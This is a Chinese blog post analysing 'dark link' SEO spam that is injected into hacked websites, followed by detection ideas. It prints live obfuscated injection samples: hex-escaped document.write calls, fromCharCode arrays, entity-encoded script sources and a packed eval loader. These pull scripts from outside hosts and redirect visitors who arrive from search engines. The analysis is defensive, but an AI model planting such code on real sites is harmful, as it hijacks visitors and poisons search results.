当前位置:首页 > 黑客服务 > 正文内容

关于暗链那些不得不说的事儿

访客4年前 (2021-04-15)黑客服务1060

前言

最近研究暗链比较多,也看了看最近网上的一些分析暗链的文章,发现关于暗链的文章还是比较少,内容大多不太深,比较粗糙,而且很多植入手法也比较落后了。所以我就想来写一篇符合当前时代特点的暗链分析文章,就当是抛砖引玉,有啥写的不到位的地方还请各位师傅斧正。

什么是暗链

暗链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的webshell,进而在被黑网站上链接自己的网站,其性质与明链一致,都是属于为高效率提升排名,而使用的作弊手法。

暗链分类

在学习分析暗链的过程中感觉很多文章都没有对暗链有一个统一的分类,有些文章甚至把挂马和暗链混为一潭,所以我在这里先把暗链分为这么两类,以便后续分析:

JS引入型暗链——通过修改网站title,引入外部JavaScript代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部JavaScript代码实现跳转到非法网站。这种暗链是本文研究的重点。

html隐藏型暗链——通过css或者JavaScript代码隐藏暗链,通常是通过position为负数,或者将display设置为none等方式来隐藏,目的是为了提升非法网站的SEO排名,但是这种暗链已经越来越少了,现在的暗链大部分都是JS引入型暗链直接跳转,故此种手法本文不做研究。

几种常见的JS引入型暗链

一:JavaScript中window对象引入暗链

这种手法的原理是调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的。废话不多讲,直接上案例

这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符。

<title>&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#21382;&amp#21490;&amp#35760;&amp#24405;&amp#32;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#25237;&amp#27880;&amp#45;&amp#21271;&amp#20140;&amp#112;&amp#107;&amp#49;&amp#48;&amp#30452;&amp#25773;&amp#32593;</title> <meta name="keywords" content="&amp#21271;&amp#20140;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#30452;&amp#25773;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#30452;&amp#25773;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#32467;&amp#26524;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#30452;&amp#25773;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#25237;&amp#27880;&amp#32593;&amp#31449;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#24320;&amp#25143;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#25237;&amp#27880;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#35270;&amp#39057;&amp#32593;" /> <meta name="description" content="&amp#12304;&amp#49;&amp#49;&amp#48;&amp#48;&amp#107;&amp#97;&amp#105;&amp#46;&amp#99;&amp#111;&amp#109;&amp#12305;&amp#32463;&amp#21271;&amp#20140;&amp#31119;&amp#24425;&amp#23448;&amp#32593;&amp#25480;&amp#26435;&amp#44;&amp#25552;&amp#20379;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#21382;&amp#21490;&amp#35760;&amp#24405;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#35270;&amp#39057;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#24320;&amp#22870;&amp#32467;&amp#26524;&amp#26597;&amp#35810;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#22312;&amp#32447;&amp#25237;&amp#27880;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#24320;&amp#25143;&amp#44;&amp#26368;&amp#19987;&amp#19994;&amp#30340;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#30452;&amp#25773;&amp#32593;&amp#33;"/>

将这些十进制unicode编码丢到站长工具中解密:

可以看到真实内容其实是这些。

接着分析JavaScript代码部分

<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu")==-1){document.title="XXXXX科技有限公司"}</script>

可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性;后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title。我们将上面这段代码中的16进制编码丢到16进制解密工具中。

这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。(关于引入的外部JavaScript代码片段后续文章继续讲解,本文先讲引入手法)

二:JavaScript中String.fromCharCode方法引入暗链

这种引入方式也是现在比较多的一种,原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面,废话不多说,上案例。

前面的title、keywords、description还是那么的如出一辙,那么的熟悉的10进制unicode编码。放进站长工具转换一波。

这熟悉的文字,啧啧啧

下面分析JavaScript代码部分

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu")==-1){document.title="系统登录,XXX管理系统 "}</script> <script type="text/javascript"> var xt=String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

还是那个味儿,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现。首先将这一串10进制ASCII码转换为了String字符串。我们可以使用python中的chr()方法解码得到他的真实字符串。

然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。

三:使用十进制unicode编码引入JavaScript

这种方法是通过引入JavaScript时,<script src="https://www.freebuf.com/articles/web/XX">通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章

废话不多说,上案例:

十进制unicode的编码的title啥的就不讨论了,前面已经讲过了,直接看JavaScript部分

<script type="text/javascript" src="https://www.freebuf.com/articles/web/&amp#104;&amp#116;&amp#116;&amp#112;&amp#115;&amp#58;&amp#47;&amp#47;&amp#119;&amp#119;&amp#119;&amp#46;&amp#99;&amp#113;&amp#105;&amp#97;&amp#110;&amp#46;&amp#99;&amp#110;&amp#47;&amp#97;&amp#121;&amp#120;&amp#49;&amp#54;&amp#56;&amp#46;&amp#106;&amp#115;"></script>

可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。

我们将十进制unicode编码丢进站长工具中解码

可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。

主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的,才会进行跳转。太可恶了!

四:JavaScript中eval函数混淆引入

先看eval函数的作用:

好家伙,是不是有点webshell那味儿了,但是这个方法在JavaScript中用的并不多。使用这个方法的地方一般是一些需要混淆加密的代码才用,黑客就利用上了这个来实现混淆加密自己的暗链。

废话不多说,直接上案例:

十进制unicode编码的title啥的我就不翻译了,上面都讲过了,直接开始分析JavaScript代码部分

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\ \\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\ \\0\\0\\4\\2\P\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{})) </script>

乍一看非常的懵逼,仔细一看还是懵逼,不过没关系,既然这么懵逼的东西浏览器可以解析,那就证明这东西可以逆着推

我们直接上前人写好的eval函数混淆工具,丢进去解密

哦豁,可以看到解密之后原来是我前面说的第一中window对象引入的手法呀,那么我们就可以重复前面的手法,解密16进制代码,得到真实内容如下

其实还是使用了document.write方法将外部JavaScript代码引入当前页面,只不过使用了eval函数进行混淆罢了。

其实细想想,eval函数不仅可以配合我前面写的第一种方式引入,还可以配合第二种、第三种,因为eval函数的作用说白了就是混淆一遍代码。

自动化检测思路

正所谓“懒是人类进步的阶梯”,一切能用工具代替的工作我们人类尽量不要用手去做,所以我从几个方面思考了一下面对这种新时代暗链的自动化检测思路,得出下面这么几条心得,但是怎么去用代码实现,我这就不讨论了。

对于windows对象引入的,判断其是否使用了16进制代码,如果使用了,那么怀疑度+1。然后再判断16进制代码解析之后的内容,如果出现了script字样,到这基本就可以判断是不是暗链了。如果还是觉得不保险,可以看其是否引入了外部js,如果引入了,再结合威胁情报等工具,就可以做出判断了。

对于使用十进制ASCII码进行伪装的暗链,可以判断其变量是否被document.wirte对象引用了,如果引用了再判断其十进制ASCII码的内容,剩下的步骤和上面一样。

对于改变script标签src属性的暗链,可以直接翻译其10进制unicode编码,结合威胁情报或者跟进JavaScript代码等方式进行判断。

对于eval函数混淆的暗链,可以先走一个逆向的过程,然后的分析步骤就和上面三种一样了。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106241.html

分享给朋友:

“关于暗链那些不得不说的事儿” 的相关文章

贾秀东个人资料简介(简历及图片)

贾秀东人物概况 本页面提供了贾秀东个人资料简介(简历及图片),贾秀东是谁?贾秀东个人简介资料完整设计了网页求职找工作编辑个人简历作品所需要的贾秀东网站常用模板元素,不保证贾秀东人物数据真实,任何问题请联系管理员调整。 贾秀东图片 贾秀东个人资料简介 贾秀东,中国国际问题研究所特聘研究员。1...

身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)

一、身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)方法总结 1、黑客通过手身份姓名能否窃取别人银行卡里。朋友你好,这个问题不是这样理解的的,黑客是通过你的这些信息,破易你的银行卡号支付密码来盗取你的财物的,一般你只要不乱点链接,不轻易在手机。黑客控制了手机,窃取了身份证号码手机号姓名等所有...

鸡业行情网今日鸡价,鸡业行情网下载安装

河南:新乡肉鸡价格4点45:鸡架2点鸡肉7点鸡大腿鸡翅根8点鸡爪鸡翅尖鸡翅中鸡心鸡肝,其地址为http,除江苏地区苗鸡价格略涨,烟台网肉鸡价格4点65-4点75元/斤/wyimucom/down-15679html,1点00元/羽,点击“下载文件。以市斤为单位/羽 菏泽鸡苗价格3点90-4点30元/...

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好 铁盖子可以放入高压锅蒸吗? 装酱料的铁盖子,外面的涂层有些剥落,好象也没锈,可以拿它盖严瓶子入高压锅蒸吗? 绝对不行!既危险又不卫生。盖住的瓶子在高压锅中加热,很容易形成压力差而爆炸;铁在高压锅中的水蒸汽作用下极易变成四氧化三...

小米10青春_小米10青春版长多少厘米

根据多日来官方的预热,搭载了一块6点57英寸三星,这样不断努力的小米。 而且又好用,小米10青春,内核不同小米。 外观设计属于小米10青春版的缺点,一亿像素的主摄直接碾压友商的5G旗舰,也都是小米旗下的产品,然而屏幕的黑边确实很感人,8GB+128GB版2499元,其中包含一颗潜望式长焦镜头,由此看...

图说兰州清真寺之兰州水上清真寺

圖說蘭州清真寺之蘭州水上清真寺讀書啊,我信赖但有朗朗書聲出破廬,遲早有一日有萬鯉躍龍門之奇象。 圖說蘭州清真寺是本人在2011年開始走訪,並在中穆網蘭州社區陸續發佈的走訪蘭州清真寺之系列。不知不覺六七年過去瞭,有的清真寺有瞭很大的變化,以是在此基礎上本人再次整理發佈,希望大傢足不出戶瞭解蘭州的...

评论列表

晴枙好怪
2年前 (2022-07-03)

;amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#24320;&amp#25143;&

寻妄忿咬
2年前 (2022-07-03)

检测。我们将十进制unicode编码丢进站长工具中解码可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的

俗野勒言
2年前 (2022-07-03)

#21271;&amp#20140;&amp#31119;&amp#24425;&amp#23448;&amp#32593;&amp#2

瑰颈节枝
2年前 (2022-07-03)

;&amp#48;&amp#25237;&amp#27880;&amp#32593;&amp#31449;&amp#44;&a

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。